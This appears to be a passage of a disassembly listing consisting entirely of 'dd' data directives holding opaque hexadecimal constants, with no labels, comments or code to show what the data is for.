		dd 6F473A48h, 1C8965h, 0CB2CBF51h, 31365364h, 6082CF00h
		dd 0A58F6DFBh, 39B0087h, 1481B9DCh, 3B0350C2h, 0D3801084h
		dd 0CC99B0A4h, 0E8A000EFh, 0A102D452h, 0D814853Dh, 3EB81ED5h
		dd 0A558F56h, 8E9B0057h, 65D9AAh, 14B2F68Fh, 6C01BF46h
		dd 0AD001AFCh, 16AFAE22h, 0E8D62F85h, 29691471h, 5D00FF34h
		dd 2D77C886h, 520F6EB7h, 80CF9CA1h, 0F0845B5Ah,	729E00F2h
		dd 91A84924h, 3D14A944h, 3AFC8CEAh, 174300E6h, 0CA9ECE28h
		dd 988900C4h, 0EE957FD6h, 82F40F10h, 498D8000h,	17552301h
		dd 3BAB0060h, 0FC91219Eh, 9A1FE607h, 39706Eh, 4A2DFEA9h
		dd 541E58h, 0A240A811h,	277EC2C8h, 0B95BB500h, 8F6F6DC6h
		dd 8889013Ah, 58A10908h, 87DFF828h, 4667C703h, 0F0EC9C15h
		dd 4E5C5Ah, 0A13D1F68h,	0D3569EFAh, 6A12E91Eh, 0DE087380h
		dd 1452CBh, 1D78A39Ch, 0E1990B71h, 891F8D0Eh, 0D1B82190h
		dd 0EEF1E281h, 27542880h, 37496F17h, 9A588700h,	403FDEF3h
		dd 5A280019h, 0FBFC22C0h, 0C600AC33h, 9FA8299Eh, 5436B38h
		dd 28C1DD3Ah, 1D830E5h,	0B5051C66h, 40C821A8h, 0EB90F080h
		dd 0F63C398Dh, 87C00924h, 606DBCA5h, 871986AFh,	0A86B1F00h
		dd 1240D0B6h, 3B731Ch, 311980Dh, 42B37F38h, 78FD9B00h
		dd 44C71B01h, 0CDDE023Ah, 8E639A1Eh, 307EB280h,	9B00BCB7h
		dd 3C3D9597h, 8CE2E1h, 2A2862E7h, 32E4EBC1h, 0AAFF5D00h
		dd 76EC892Eh, 0BEE60199h, 9D5B1C29h, 0D4EDC074h, 2698316h
		dd 0B47800EFh, 9151F209h, 3D6DAC00h, 2C275C76h,	25CB00ADh
		dd 0C30FF670h, 3C001D62h, 30E8966Ah, 90AB95D2h,	552003Ah
		dd 9C377271h, 7048BAF6h, 81C70270h, 75D3B8F5h, 11380DC0h
		dd 0C1A83551h, 0FD29306Fh, 124BDE00h, 0F296A946h, 337D004Eh
		dd 1C3C8A7Fh, 0DD000BDFh, 210F059Ch, 349AFCh, 0A7A1A27Bh
		dd 0D4EEB73Bh, 0A3C57C00h, 78381BB1h, 0EACB073h, 0D92EF494h
		dd 92112AE0h, 0B204CC69h, 401D59E0h, 0CE0776C0h, 0C28F1E87h
		dd 5CC7C0E6h, 0B91C8CDFh, 109A1E79h, 19287300h,	760E26F6h
		dd 0ED90A8BDh, 12673E45h, 0C2C4431Fh, 13BEB650h, 0AB909EE3h
		dd 294C3FFFh, 0E5040050h, 88CE0876h, 0DB1C142Eh, 0AF0368D3h
		dd 0F669914Fh, 8EF8559Bh, 0E400A732h, 1B587A40h, 3F7EA9h
		dd 0A6CB95D3h, 0EC18AF92h, 0C258B260h, 0F1BC9863h, 0B54CF0h
		dd 0C80112E3h, 0AC664AF3h, 2E83D81Dh, 0F8864Fh,	97B239Bh
		dd 484700DCh, 4B440881h, 9338A519h, 995A8330h, 8867329Ah
		dd 78027FAAh, 0B2A70FFBh, 0BDC08D09h, 0BB4256AEh, 70EF73E6h
		dd 0C40018CEh, 75A5AF8Bh, 0ECF2194h, 0DAA00716h, 59F6E880h
		dd 6100428Fh, 735C1C4Fh, 0F85F95F0h, 0A89355h, 0C5E245FDh
		dd 5614D398h, 0B02AA7h,	0C3F9AFF5h, 53717BFh, 19E7D5D1h
		dd 4C64901Ch, 521E6DD4h, 2D008DB8h, 4A247B4h, 7B030723h
		dd 80837DBEh, 9B4B82C4h, 0D063DA09h, 0F84800FBh, 4CBD1576h
		dd 8A1484F1h, 0B85024D7h, 9F940028h, 0E647DBEBh, 0B9008A12h
		dd 1AC7B7A2h, 3ECBFFh, 7959FB8Ch, 9EEA951Dh, 28903F1Dh
		dd 5A744580h, 1A2B87Dh,	0AB05F165h, 0C48ECB15h,	3B01B64Ah
		dd 0C36ECDFh, 9EE404F5h, 0E4724C0Fh, 59158402h,	0C4404308h
		dd 0B307607Ah, 9FD1F275h, 7C13130h, 0B50418C3h,	0F8A13071h
		dd 1C905AF6h, 0F237CE07h, 0ED52EFD6h, 0F4645Ch,	6EFBA1DAh
		dd 4C2604CCh, 8A3E3501h, 0B0CF5F60h, 4BD6E3D0h,	0B2930BE1h
		dd 7980D420h, 3E0069CCh, 0B820392Ah, 0FA161FFCh, 68600B9h
		dd 9892B3C3h, 0CA0019D1h, 0FB24EA72h, 73E21Fh, 0E7DFFAE5h
		dd 4F334D02h, 0F1AD7A00h, 9DE810F8h, 6467001Bh,	7F91B17Dh
		dd 0CB749C82h, 5D2CD501h, 1B69B803h, 0F9ED64DCh, 74E0C60h
		dd 1E11FCC8h, 0C0EF14B9h, 793EFD58h, 30672A00h,	5DAE7462h
		dd 38C80EEDh, 2A71856h,	32AD7184h, 0A420202Bh, 6C869A01h
		dd 0BBF9C04h, 21C1ECh, 0FF40B879h, 1E16FD8Eh, 0F875A01h
		dd 967429EDh, 7C2F6ECh,	0D8573B92h, 3762004Ah, 0EDE42D98h
		dd 1D73BF01h, 14410C85h, 2A72A6E0h, 0C48CC9h, 0AB4E196h
		dd 0D271D02Ch, 3DF69D00h, 0E04B066Eh, 49361D9Ah, 2E23C05Eh
		dd 0E32BFF24h, 0C4ED2912h, 0E7DB3B07h, 80D3B512h, 175283FAh
		dd 0F40EE08Ch, 2A7F0035h, 0AAC1A055h, 0EF0ADAD1h, 880C3E10h
		dd 3F29AE00h, 0A2C88Dh,	59320E85h, 43AC3F0h, 0D3F639h
		dd 0EAFA518Fh, 7E9BC66Ch, 2DA8A0B6h, 816E1316h,	71DC0184h
		dd 20707788h, 18000A30h, 59A439CBh, 3102CFh, 0D8B79626h
		dd 2714EFE7h, 28C9E400h, 0E3CC6285h, 80540324h,	27D7A22h
		dd 82815EE7h, 64351B6Ch, 4B143744h, 3CC2729h, 0FCBC54FBh
		dd 7B601D38h, 90EDC02Bh, 321571E6h, 0A5CC9F48h,	79CBF030h
		dd 0C3FD1F44h, 8C6214AAh, 0D8937C00h, 3E92DBF8h, 890AB103h
		dd 0BB5528F4h, 219AA8ADh, 0FF4600F1h, 0E269ABC4h, 0ED005007h
		dd 0BDA967Ah, 4C1BADE4h, 98A0F01Ah, 0E00B62A3h,	6DC772h
		dd 0F7A16C50h, 36EE25h,	0F02CCF4Bh, 0D71564B8h,	4F0377B0h
		dd 8DA986DDh, 302EC056h, 0E3A30041h, 0D745B296h, 0B400ACBCh
		dd 4D9BDEAFh, 7913C9h, 8CF45329h, 855D5A34h, 2EB0EF0Fh
		dd 20D7890Bh, 0E3712F2Ch, 20AC0273h, 0D6E1540Ah, 2218848h
		dd 87D0E00h, 0DE9D2FF4h, 37CA0972h, 3480EBD8h, 0F9B3266Eh
		dd 0D70574BAh, 8E79FAC1h, 34AFC80h, 0B6BD00E5h,	0E3C44722h
		dd 10B8ED7Dh, 7C38F20h,	0E0F4604Ah, 75F6D09Dh, 34849A3h
		dd 544A7E48h, 0B30047F8h, 3CC6237Fh, 0A501C779h, 0B5BA8B59h
		dd 11801187h, 86B6952Dh, 390464E3h, 70A7906Ah, 0B06B3490h
		dd 1CB081h, 0ADFF7183h,	0A33942C5h, 807C14Bh, 5A07587h
		dd 0B3ED407h, 6CC94A90h, 0E3F96480h, 1CEC513Bh,	0DBD2E700h
		dd 78ED84AAh, 74DF0044h, 4D76CF8Ch, 10C05D08h, 2D6599F2h
		dd 2420021h, 1363DECCh,	0C42EF9A0h, 0F1F0C89h, 0BA45BC40h
		dd 18DD4ADCh, 5E9228EBh, 0A8D4736Eh, 0FF7DC098h, 17781F10h
		dd 4E759E80h, 7C642110h, 1100A26Bh, 5D021EC0h, 7F5FD806h
		dd 3F1AD098h, 0D8B05090h, 0AD0294A7h, 41F44349h, 48ABDC8Ch
		dd 0DE31608Ch, 0F806F95Ah, 0BCEC33AAh, 8D930026h, 91695B6Fh
		dd 1902E2FCh, 8B0EEA41h, 0BF95C33h, 0AB004E95h,	0C3103BB7h
		dd 0FD6F81Ch, 99912300h, 7514E7h, 90B6A9Ah, 0D4CB11BEh
		dd 17A084C2h, 143E60CFh, 0C9ED002Ch, 0D32B2570h, 45005665h
		dd 5210FCB7h, 79302F2Dh, 7E4200ABh, 6C9389A8h, 5C0FB5D3h
		dd 0E7355770h, 6FA3DDBAh, 0F444C843h, 0D60700D1h, 49C508B9h
		dd 774EA13Eh, 10B6EC00h, 390B1106h, 0F680DEAEh,	2A20AF9Dh
		dd 4D0084FDh, 142BE927h, 90D3EEh, 72FED123h, 135B89D6h
		dd 3AA01F00h, 0C5A33436h, 517D3A32h, 69F6EF00h,	4ABDDF7h
		dd 220C8C02h, 70BBD4A4h, 2DA200DCh, 0E5F324B6h,	0B8005A6Dh
		dd 0EC748036h, 6AD2896h, 0D181E42Bh, 5BF030B0h,	900E578h
		dd 10267C9Eh, 0D0E428h,	0AB06BA87h, 0FB4294D2h,	54B74700h
		dd 0CFA2342Eh, 14078FFh, 0E2E5CD4Ah, 0E00BA106h, 0BF0C88F0h
		dd 38A8F56Ch, 41FB0599h
		dd 4ABD05D3h, 8054A288h, 0E2C13426h, 0D27BDB3Ah, 0AF710C12h
		dd 464C810h, 5B24B2ECh,	34D1FA00h, 2CF61D12h, 0D43FCB03h
		dd 88DA29EEh, 6FAE6Eh, 0C14FB621h, 46017122h, 19ECF301h
		dd 1EDF3A60h, 20BFBE4h,	9B4AD5CEh, 4BE3349Dh, 2554F698h
		dd 419A4900h, 0F4C2FDEEh, 0D4D900E7h, 8FB98ECEh, 1F01A607h
		dd 60DC9115h, 0C6C44E31h, 0E26B0126h, 874F6586h, 0C0032E30h
		dd 90282049h, 0A47DADh,	0EEAE26C1h, 9D371802h, 3312E00h
		dd 1B8C93ABh, 6EEC00CDh, 0FF08EB77h, 0E700E0F6h, 0E5FC4E1Ch
		dd 5F4471h, 384BF197h, 82635498h, 231ECB00h, 0A457C293h
		dd 0C74A005Ch, 732405E4h, 0F300E929h, 98D02DCBh, 1C1E68Ah
		dd 7FA396C4h, 0D05A6F6Eh, 0E101B151h, 0B648D5A9h, 0F84079F9h
		dd 1DD9EE7h, 3019B706h,	0F054E213h, 0AC985CB1h,	34A28B0Ah
		dd 3F0D10ECh, 0E810384Ch, 12EE7A35h, 544602A7h,	400A3F8h
		dd 0E4485A88h, 603A9226h, 315130EAh, 0D6B90Fh, 1A5CECA1h
		dd 7B401198h, 1CF88500h, 8A628E91h, 267757h, 0C0305F07h
		dd 0E45001B7h, 7A39491Fh, 4E6A0038h, 0DED37627h, 4DB70F05h
		dd 6165B050h, 3059C75Ah, 0A968DBC4h, 6C7A5307h,	0BF801495h
		dd 7AA32C07h, 828F001Ch, 0B764D781h, 2239F80Eh,	69600026h
		dd 0F7344C72h, 58B40715h, 403F95D7h, 7BD74F4h, 0F36E1907h
		dd 5BB12C70h, 0C7DC3759h, 8CA00016h, 34E526D2h,	3A1F56D4h
		dd 0AE4E0745h, 0B000769Fh, 33BF0237h, 9A3E0067h, 0D47EC64h
		dd 0B6EAAFA9h, 0D0256E00h, 73343F8Ah, 2DC0087h,	0BE710ED7h
		dd 7D7AC54Bh, 0A71676FAh, 64006937h, 0F5CCEFBCh, 77C61738h
		dd 2AB500C9h, 0AC33279h, 721EA0C0h, 1D76C8h, 8FED58Ah
		dd 87962277h, 0C0CFDA98h, 1E120CDh, 1B50B9h, 71BC02A9h
		dd 3E8375AEh, 0ED1998A8h, 5150D13Dh, 9F87E080h,	9341DC00h
		dd 9CA8777Ah, 2E0930CFh, 0F6626550h, 2CC58900h,	0AF5E262Ah
		dd 0D670079h, 74E08AF5h, 0DA1818EAh, 5682E9Fh, 0BB83008Fh
		dd 0D10E1DB5h, 3500E8FFh, 586D7895h, 0FFE6F52h,	45B737EDh
		dd 0F88B9320h, 0CE1D5794h, 67C039D3h, 4DA979F6h, 0B17B006Ah
		dd 0C509D159h, 0A014135h, 791EF088h, 0DBE443B9h, 879F0E37h
		dd 2C60AAA2h, 5474FCC4h, 0F0A09B00h, 2B26F1C1h,	0A8993CC7h
		dd 83E24103h, 3CD3A575h, 0FDE36EB0h, 42E5770Eh,	0A267A031h
		dd 60DF36h, 0CC3AA36Dh,	3453CAD2h, 0B0200600h, 2343F14Eh
		dd 49A917DCh, 0DDA50180h, 0D83E31C9h, 243FEF98h, 4196303Ah
		dd 0E993C2h, 0AFE374E1h, 7BEFD392h, 314A3Eh, 9C6160A8h
		dd 0E87E8A26h, 50110A56h, 8F8C2078h, 12201703h,	2F0AD09Fh
		dd 0F1163500h, 0B5953979h, 369819h, 11A05B18h, 29F3AE92h
		dd 3D00B079h, 0FE552B46h, 0BA2847h, 6D2173DBh, 0D3428109h
		dd 7EE90C1Dh, 202D970Ch, 23200072h, 5D07F71Eh, 0A8004581h
		dd 11B47341h, 3E0579Ch,	9F184D06h, 0A5D9E376h, 84304A47h
		dd 82304756h, 39004E5Ch, 6C3185F2h, 1BF33Bh, 0AE531D44h
		dd 40BBBA50h, 198D8606h, 117ADEh, 90AE4C8h, 9A27A19Dh
		dd 0D3B1B551h, 52172196h, 3B00CF68h, 76787A80h,	0D2AE00A5h
		dd 0D9B8F30Ch, 28C08FDDh, 25F98D28h, 9FEC0198h,	60687818h
		dd 0E07980B0h, 0FD065AF1h, 0F84E074Bh, 434F1C1Ah, 10FF1E30h
		dd 0CC59A18Ah, 0BA206F0Eh, 1A52809Bh, 502981D3h, 1454C010h
		dd 94308F85h, 0C1922500h, 0E371E282h, 0E500D9F6h, 0C39C7005h
		dd 7AFDBAh, 0E416574Bh,	7EF287DCh, 0CC50600Bh, 754787DBh
		dd 0C06C6FE3h, 795B844h, 0AEDA3E84h, 6EA16079h,	0BB05BF46h
		dd 7F46D70h, 8EDF9403h,	0D17CA12Dh, 2CC846ECh, 0F170B0h
		dd 7E5F804Ch, 0FF00263Fh, 0EB71C258h, 102DB64h,	6B3D60FDh
		dd 0D0D23984h, 0BD061746h, 197931FEh, 71946018h, 0CDF201CCh
		dd 68F4D418h, 86123B91h, 9C4B5C01h, 0B4ED7FF7h,	0FA608008h
		dd 488A9D20h, 0F3260269h, 654ED64h, 764ED8C0h, 0E88D270Fh
		dd 5C5700D2h, 167FB2h, 467E8781h, 0A1B6445Fh, 5A038C01h
		dd 7C245CCFh, 21410898h, 0A2391DE4h, 3F58036Bh,	795EE2h
		dd 5178E650h, 8A07995Ch, 52745F00h, 0E9475B61h,	0A4F10F96h
		dd 64A0677Dh, 0F9BA0DB6h, 5F8F0A00h, 31ADE622h,	814D00CAh
		dd 63B91146h, 8207159Ah, 0C16F1F61h, 2B86F540h,	5B7E0065h
		dd 2C38A34Bh, 8300929Ah, 64AEF46Bh, 9B8EC8h, 0CA26650Ah
		dd 45802BE1h, 970718F6h, 37C4B5F6h, 0AC176DB0h,	7B1EEAEFh
		dd 8F7DA0h, 3936F244h, 1F75E655h, 0D41D9177h, 0CB40D90Dh
		dd 0B2D30943h, 0EBFB00AEh, 66704AABh, 4900A6DCh, 31EE45EAh
		dd 849192h, 0B4A219A4h,	5930B62Fh, 133A97F8h, 0F8007766h
		dd 63550817h, 5E5365Ch,	9DF77E1Bh, 4400C0FAh, 88F834ECh
		dd 40EE8000h, 0FDE69E35h, 0EF393CAFh, 632F3B00h, 45B80DF9h
		dd 149DAD01h, 3127A242h, 2C012080h, 0E8E31063h,	0F619641Dh
		dd 0FFF93E82h, 0A1200033h, 9B39821Ch, 0D7C480A7h, 0FDF77901h
		dd 0F9950065h, 0D2746BDBh, 30C03740h, 17283230h, 770C00F3h
		dd 27AF7302h, 1138D3C2h, 0FA8380BAh, 399B448Ch,	65080E1Ah
		dd 4B2136DCh, 808DBFE6h, 6C430A20h, 0C045A5A9h,	4F690F28h
		dd 70F02705h, 6B6FFB18h, 0C0412908h, 4F6A3220h,	0A602A27Ah
		dd 3B1738E2h, 0F1808008h, 7E167E5h, 211BEE18h, 0A3B9D058h
		dd 4D181C2Bh, 0EF405A9Ch, 0F9C900A0h, 0A236AEEEh, 30E3CCA5h
		dd 9560F69Dh, 0F2D19F20h, 723B03FEh, 0E884786Dh, 71CC18E8h
		dd 211728A0h, 1000CBF9h, 0F3C1D0F2h, 162397h, 0CDD9DB80h
		dd 89C56D93h, 0F9EB000h, 73E1A62Ah, 0BC2400DEh,	0C8B53E26h
		dd 5F04C26Ch, 701DB2E0h, 0FD5FC1EFh, 0FAE5FC57h, 1800E172h
		dd 0D96CB7F7h, 11288Bh,	63254642h, 97DBEB66h, 0CBC9AE07h
		dd 5020E7FAh, 3577BF4h,	49AD695Bh, 3FE06E8Bh, 9200F2EFh
		dd 605F671Fh, 0E95EAAC4h, 0B67F1080h, 0AD4AD2E5h, 0AF8F600h
		dd 0E733595Ah, 0A4BC00AEh, 6A7730BEh, 0F400ACBDh, 3574186Bh
		dd 0EE48849h, 0AE282C31h, 16176040h, 4C03EAE3h,	0F66F6FFh
		dd 0C6B9A0E7h, 1D6F00D3h, 1F7BD204h, 0C8F96B2Bh, 7F00C3FBh
		dd 0D59A08FCh, 74D1DB5Bh, 0FA3C01B5h, 855511E9h, 59D4D0EEh
		dd 33A81E12h, 782414h, 0DA41C9C6h, 0EBB6F9h, 0C5099EAh
		dd 0F491CD22h, 0A2305874h, 1BFB204Ah, 963512E9h, 7E7D00F7h
		dd 100558C8h, 8D722800h, 762711DBh, 9BF7D43h, 840A0F90h
		dd 0A38FEEC3h, 0F0C7DF26h, 0AA23947Dh, 0C2375074h, 0CC902068h
		dd 0CAA309h, 73BE8AB8h,	0EE1384ADh, 110C717Fh, 0A9DB0357h
		dd 601E7816h, 60B386Bh,	75267629h, 520E4CD6h, 6FA2C03Ch
		dd 591950h, 0C80184BBh,	35426D28h, 0FB1F6790h, 0A8707412h
		dd 0EF17DAh, 611EF6E5h,	86AD7205h, 63E7B91Eh, 73E8A702h
		dd 7A98538h, 0BE0AA400h, 0F19B33h, 444103Bh, 0F83AAEB3h
		dd 45699702h, 401CA6B8h, 0ED810Ch, 0E01ED243h, 873EF2DDh
		dd 0B0BB6B0Fh, 0A3748713h, 142F802Fh, 17A12Ch, 0D784880h
		dd 0FCABA5D4h, 72C1348h, 88E3D64Dh, 87B30360h, 0EC3B7792h
		dd 776E0373h, 0F6D9AEBDh, 30BA80B9h, 0A004125h,	0B35E58E8h
		dd 67B4B7Eh, 0AFBF23D8h, 527FE0EAh, 0A8114924h,	0C78F5400h
		dd 0D6840Ch, 26BD9B68h,	2AB90151h, 46926600h, 13B5C5D0h
		dd 0E6CF01D7h, 2809FD6Eh, 26212076h, 0DF570A07h, 0B8075DA9h
		dd 47D3A500h, 0C275001Fh
		dd 0B29CEEFDh, 0A0071F3h, 60981687h, 9F0667h, 0B6731E2Bh
		dd 919D52DCh, 37CD93Ch,	98879B5Dh, 5A7FE8D2h, 0D160061h
		dd 5515513Fh, 0E00C5EEh, 0F9B39002h, 78492ADh, 47D07A11h
		dd 5DA7B097h, 617A0975h, 87933338h, 0CEFED802h,	8294B9D0h
		dd 0CDE8FDECh, 0A5B50FC8h, 59C4B2DDh, 4FEF809Dh, 95509671h
		dd 12006EF7h, 2E7F51C6h, 0E0FAEAh, 0DE5061E5h, 80D9021Ah
		dd 147B203h, 83034C5Eh,	0EB7ED020h, 163B1D5Ch, 890039D1h
		dd 0DD0919DEh, 1800DAB0h, 0FB87BB42h, 70985057h, 6B0200ABh
		dd 0F26E52C1h, 800022AEh, 83853566h, 0C3A7EFh, 9C0B2733h
		dd 0D6C2F414h, 0AAE4CE00h, 3D9EB820h, 0FA6C0374h, 0FDCC28B1h
		dd 2047D3E3h, 759DE004h, 0DB50CBF5h, 48FD881h, 0CA1FC073h
		dd 8878BF00h, 42079E65h, 2F33B4Ch, 51AA1870h, 1E642895h
		dd 74D20A88h, 0B842111Dh, 0CD1F189Fh, 8821C851h, 648883F1h
		dd 0F02E120h, 3C430C11h, 38B9242h, 29082110h, 108E3E2Fh
		dd 352384D0h, 83C5C4Ah,	0B480D04Dh, 78BD8451h, 0AF6D202Eh
		dd 36B0810h, 94624B08h,	2983980Ch, 748E4442h, 60C76A44h
		dd 0EFDC7917h, 7800BEADh, 570200Eh, 0DE3FE042h,	79FA9BA1h
		dd 65014DF2h, 0F4D4276Ch, 944B1E70h, 0A0CE40D9h, 59636855h
		dd 0C637F81Dh, 1BF3E89h, 1BA23394h, 2147D0h, 592E2753h
		dd 0FB77AA80h, 3001E070h, 4B5D3D8Bh, 72387A5Bh,	31FFC203h
		dd 0D6F0F194h, 0AB00DCA3h, 0EE514C7Dh, 449F02h,	0B327BFA9h
		dd 5EB18DD5h, 0F6075D00h, 72A011A4h, 52570638h,	1012F397h
		dd 0C4D7F400h, 88690C84h, 0CB95126Ch, 541800D6h, 7C21961Ah
		dd 0D4760700h, 79F9A551h, 0A0433B08h, 508E4F00h, 0AAD8E96Fh
		dd 0D1038FFAh, 95D6CA05h, 9B040055h, 0EF8797CDh, 4AE682E8h
		dd 72CC0D00h, 0E077A72Fh, 5C2600AEh, 153ED26Bh,	16731A75h
		dd 0F712C3FAh, 5C07E8EBh, 50E01F4Bh, 98431Dh, 69223892h
		dd 0A904315Fh, 23D09100h, 0B843927h, 0CBAA0FF5h, 0C1A0F8ADh
		dd 0C252842h, 39FE7803h, 0F87ADB04h, 0DC678Fh, 0A61AF366h
		dd 0E27C92C0h, 20E34E00h, 27A32B87h, 5D8E003Bh,	74CE64EFh
		dd 12007603h, 98FF4680h, 1CF197F9h, 5E62D80Eh, 0C72C0023h
		dd 5BCD1C1Dh, 0A1D9A300h, 2226584Fh, 49343F44h,	9315CA00h
		dd 0F2162A0Ch, 0C7F9D900h, 0F559B0A0h, 4FAD033Bh, 0CF4A15E0h
		dd 8481DCB2h, 0C8D0F433h, 2300ED46h, 79B65825h,	10CD7AFh
		dd 7AB4EB2Bh, 0DBB1E62Fh, 0F8C529D8h, 2AFE2500h, 0D833AD7Ch
		dd 0CA2F0055h, 0EEC1F0AAh, 457920D4h, 0B9085C01h, 336A388Fh
		dd 3C8B9760h, 5281F782h, 95BD45CFh, 72F6D449h, 0A8005E90h
		dd 0F533BCEDh, 1CBF950h, 7CC2E9AAh, 30D1C526h, 8A015CCEh
		dd 5274A0A3h, 98EF57A4h, 9CDBF0Dh, 8D6893B3h, 0C34060Ah
		dd 3D1182CFh, 0B06B071Ch, 19036E40h, 52E2FF7h, 16FCD20Fh
		dd 0F8FC1450h, 80FC1429h, 32586AABh, 0F20EF4F6h, 20C32374h
		dd 4019D26h, 0E18D03EFh, 0AB968F24h, 193C89C8h,	2D9ACD1Eh
		dd 9ECF0D40h, 82682h, 0DDA4B549h, 0ED3F8F7Bh, 0C8BD5100h
		dd 943A7371h, 62FD0374h, 310F0DB3h, 0A555A1A0h,	41E4F701h
		dd 0CE0226D4h, 7684AC4h, 656DA7Dh, 0FF13A10Dh, 3CFED828h
		dd 0F4528017h, 9F0B9100h, 7238705Ch, 22B00030h,	811D6156h
		dd 0F907A8E5h, 3E05D5A7h, 6EB874B0h, 2F4100DAh,	2EE5FCE8h
		dd 0A7004F7Eh, 0DE6CCFD0h, 9E78F6h, 6177BB22h, 0FCC3CB52h
		dd 28F42C00h, 6946E7A9h, 0B0E630h, 0DF6CB140h, 0C3BB1280h
		dd 0B81782F6h, 0C100259Ch, 3721CCC1h, 260E1E4Fh, 18ECC060h
		dd 0F1B212F6h, 4003D30Fh, 0E0F8EE63h, 1317DE9Ch, 985F00AFh
		dd 6EBCE646h, 4C00C5B7h, 1B25AD8h, 0BF3CF5h, 1CDF66F2h
		dd 0ECD75532h, 0C000B371h, 0F7CBD30Ch, 0B93A8h,	9CE4C4A5h
		dd 33199813h, 0A1698800h, 8AF763D7h, 92E7005Bh,	0B55223E0h
		dd 400045E3h, 5184A3A6h, 0C9600Eh, 0DE61B746h, 3F482164h
		dd 30EB73EEh, 0AB00829Dh, 0AC26BE91h, 8DA061h, 0E6132E07h
		dd 0E0966379h, 8BD63104h, 0C3AF3BDDh, 6FD810B3h, 573FA997h
		dd 0B937AC4Fh, 0DD6A3000h, 16720C9h, 16090C7Ah,	714FD5B8h
		dd 38E4E0CEh, 0EC358400h, 475E3101h, 0EE6A1D73h, 261740BFh
		dd 0CC10F3E7h, 14A3380Ah, 3F913Ah, 0B56578F8h, 8F8C20h
		dd 0A37A4CF1h, 0E5413A15h, 0A478B498h, 0B71FF600h, 0C7CB8875h
		dd 0EA2003B2h, 0BBFB9EEEh, 0AA9F04B8h, 6EDEAE50h, 0EDF13D0Fh
		dd 8B407EE9h, 1C1C590h,	35AD014Ah, 0B44670A2h, 0C830FD2Fh
		dd 4E4C8082h, 5A5C0EA0h, 0E5B821EBh, 0BEF0E1F4h, 38A1B807h
		dd 62803E53h, 0BA59A2F6h, 48033999h, 0E89A43BCh, 1999F36h
		dd 0D6EA604Ah, 0CF055FDh, 29E90DF6h, 408884h, 657120FCh
		dd 580008F0h, 337570FBh, 0F29214DFh, 0C0850087h, 32186143h
		dd 501231C7h, 0F012534h, 9390E958h, 93612CC9h, 262E7864h
		dd 242187h, 0F84581AFh,	37006A77h, 0FDD7AE99h, 48F1E9h
		dd 3E1EB414h, 93270A17h, 0A51A8905h, 8180652Dh,	0C2873Dh
		dd 0D94F2ADCh, 0EFDA4DA9h, 0EC4A2F00h, 0FFDB608Ch, 7DB61FA3h
		dd 0C1BF1E63h, 0B73C5D53h, 0C024DDAEh, 0C8607EA5h, 43B2B389h
		dd 653C00E3h, 34FCB09h,	7702C508h, 8E643210h, 0DC924021h
		dd 967000C1h, 3072359Dh, 0FD3BEFBDh, 0DCFFBECAh, 84C700BFh
		dd 76622C3Dh, 0E5AF0077h, 1A7C61E6h, 0EBE0DA29h, 5AF23203h
		dd 88846ED6h, 678203h, 421CD4D9h, 0C7E6526h, 0E31DEA90h
		dd 0D5C0EFCBh, 17966795h, 29E3B4Eh, 76B69D80h, 690A5DE6h
		dd 0A900A573h, 0B7F6E125h, 0C63236h, 3ADCD08h, 0BB51A7A1h
		dd 48FFF324h, 3B173C07h, 0AB3E80B0h, 0C4A04C89h, 0CA0DBC00h
		dd 0FD8A5B81h, 5E6C8400h, 0B5A62715h, 8943C41h,	0A0E67400h
		dd 1F89F1D2h, 0E8217900h, 0CD8735B1h, 0EC300005h, 618CFB0Ah
		dd 1D1DD0CCh, 8B40A472h, 53D7FD7Bh, 0D52200AEh,	0CDFE61E4h
		dd 8F001817h, 0E56BB173h, 0F40B023Ah, 6269007Bh, 0D61C87A1h
		dd 3B00AD68h, 0F583C84Ah, 0E5CE6h, 4FCDB959h, 58A9FA3h
		dd 3953350Bh, 6AC808Fh,	0CE68F2h, 0FCC17A29h, 84D1B2D2h
		dd 85641B07h, 80701157h, 0FE773B5Dh, 0D76B07CBh, 67F8C1CEh
		dd 0AE14A36Ch, 0B9161DE0h, 5D365A07h, 23C064E2h, 5609A7h
		dd 7DE3A1FBh, 79418B26h, 0E00021E0h, 0EF9FC7D4h, 0B84852Bh
		dd 0FDE6ECA5h, 0AFDC87h, 8FBBA39Dh, 0CC7B3100h,	0B13C18D5h
		dd 70375CEFh, 8B09AB00h, 85F63CEh, 0AD222E00h, 787206FEh
		dd 11F5000Fh, 0C356E8CDh, 51241BCFh, 0A838A09Dh, 3209E887h
		dd 1755ECh, 0FE652B54h,	0EA3803A0h, 0D1CD1AB6h,	0C80951F8h
		dd 808E783Bh, 0FE9207B3h, 2865AEh, 0C527029Ah, 0F10EFA8Dh
		dd 1112551Fh, 391F9600h, 1D905E4Eh, 33F20AAh, 7E5522F4h
		dd 0DA3C9DE0h, 0B8D8870Eh, 0AD6420C6h, 7A72C94Ah, 43B924D1h
		dd 0E5F40013h, 0C689AA75h, 97B2791Fh, 0E755CEC0h, 0AD290A8h
		dd 60981C53h, 84833FEDh, 5C543E49h, 43B094F3h, 0CA0033DEh
		dd 0F279ACA8h, 0C52C57Ch, 0B5783B0Dh, 70596E0h,	0CC2631CAh
		dd 0D47BB400h, 0AC434Ch, 0D2B911F3h, 3FCEAFFBh,	2FA0F45Bh
		dd 0EC460E38h, 7C01DD1Fh, 0C409F34Dh, 5603E10Ch, 0B344185h
		dd 0D4ADA820h, 0E4AA12D8h, 8C642CBEh, 9B007C90h, 0FD895A0h
		dd 2FBBF17h, 0BEBBF341h, 8440DB16h, 23F4F40Dh, 0CDE7F905h
		dd 0FE00C29Dh, 57B9EDA1h
		dd 1E27003Fh, 74095D83h, 0A07BDE7h, 9B05E31Ah, 0AB22F0F0h
		dd 4308094Eh, 5000612Ch, 402F6A91h, 0D7F8A1Dh, 897388C0h
		dd 0F9481EAh, 66FFD3DEh, 0AB9D9980h, 8D002371h,	830E4279h
		dd 7D38BBAh, 4B1F0A69h,	313C87F6h, 0FC76F9h, 842B595Fh
		dd 54A7E20Bh, 0AF6C81E5h, 80511C64h, 0F5ECB65Bh, 0A029EC3Ah
		dd 1B8A1C5h, 0E7F26EBAh, 0F09043CCh, 0EF3A2D9Dh, 5C58EAh
		dd 4A40925Ah, 687122h, 42C0F361h, 39AB493Ch, 0B6F69100h
		dd 0EF6B09BAh, 280C0B8Bh, 5300D421h, 0D3A77759h, 6F53CE00h
		dd 0A93E448Ch, 7D85004Fh, 0DC1592DEh, 0C018233h, 0E650429Eh
		dd 402873BFh, 0E03826h,	26B10AF3h, 28008D35h, 0FAA5CD8Bh
		dd 1760FAAh, 0BF413027h, 80046C69h, 951CF468h, 0F645B2EEh
